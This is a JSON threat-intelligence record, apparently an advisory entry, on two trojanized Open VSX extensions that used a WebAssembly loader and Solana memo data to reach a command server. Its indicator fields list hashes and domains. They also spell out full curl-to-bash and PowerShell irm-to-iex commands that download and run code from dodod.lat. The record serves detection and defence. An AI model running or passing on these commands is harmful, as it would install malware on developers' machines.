{
  "title": "GlassWASM: Trojanized Open VSX Extensions Used TinyGo WebAssembly and Solana Memo C2",
  "summary": "Socket says two trojanized Open VSX extensions delivered a TinyGo-compiled WebAssembly loader that read Solana memo data to resolve `dodod[.]lat`, then built OS-specific download-and-execute commands for developer endpoints.",
  "date": "2026-06-20",
  "severity": "high",
  "tags": [
    "open-vsx",
    "vscode-extensions",
    "supply-chain",
    "wasm",
    "solana",
    "developer-endpoints"
  ],
  "sources_count": 3,
  "indicators": {
    "slug": "glasswasm-open-vsx-extensions",
    "since": "2026-06-09T00:00:00Z",
    "until": "2026-06-20",
    "ecosystem": "open-vsx",
    "cves": [],
    "cwes": [],
    "advisoryIds": [],
    "products": [
      "exargd/vsblack",
      "noellee-doc/flint-debug"
    ],
    "packages": [
      "exargd/vsblack",
      "noellee-doc/flint-debug"
    ],
    "versions": [
      "exargd/vsblack@0.0.1",
      "noellee-doc/flint-debug@0.1.1"
    ],
    "affectedVersions": [
      "exargd/vsblack@0.0.1",
      "noellee-doc/flint-debug@0.1.1"
    ],
    "fixedVersions": [],
    "files": [
      "orybbbdsuqmaapel.wasm",
      "snqpkebiwrxmoivl.wasm",
      "noellee-doc.flint-debug-0.1.1.vsix",
      "exargd.vsblack-0.0.1.vsix"
    ],
    "paths": [],
    "services": [],
    "domains": [
      "api.mainnet.solana.com",
      "dodod.lat"
    ],
    "urls": [
      "https://api.mainnet.solana.com",
      "https://dodod.lat/darwin/i/_",
      "https://dodod.lat/linux/i/_",
      "https://dodod.lat/win32/i/_",
      "https://open-vsx.org/extension/exargd/vsblack",
      "https://open-vsx.org/extension/noellee-doc/flint-debug",
      "https://socket.dev/blog/glasswasm-malware-open-vsx-extensions",
      "https://github.com/zaitoona43",
      "https://github.com/ExarGD/VSBlack-Theme",
      "https://github.com/noellee/vscode-flint-debug"
    ],
    "ips": [],
    "hashes": [
      "558b4f1d9a263c13756ab0126c09dd080c85ba405b29488e1c4e6aa68b554f1f",
      "8ebac142e34a20c297d3ccaca7ee5d9ddd24fed4",
      "4e143876eeaf5e767a9971f603b0f13c",
      "3aa31999398e7f80231c03d7137ffdb554a84b83dbcffc59ce16c9a65f9e5d58",
      "c0ed7d575fe8085e942898c9a26f15992c895ba9",
      "b262b8d2ac2f0ab3c78251db44ecf3ac",
      "1e283327ad048bea39f4a8501770858a20f3555e87fe3e202274f2e87f8a3c25",
      "824e601b599b9ad97ee12f0b3a72efd20ba59d47",
      "f595fb7867beb76b4deab53fa328e0a2"
    ],
    "processPatterns": [
      "getSignaturesForAddress",
      "getTransaction",
      "jsonParsed",
      "require('child_process')",
      "execSync",
      "windowsHide",
      "curl -fsSL https://dodod.lat/darwin/i/_ | bash",
      "curl -fsSL https://dodod.lat/linux/i/_ | bash",
      "powershell -Command \"irm https://dodod.lat/win32/i/_ | iex\""
    ],
    "networkPatterns": [
      "MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr",
      "Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM",
      "6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz",
      "[9] dodod.lat",
      "zaitoona43",
      "291961103"
    ],
    "telemetrySelectors": []
  }
}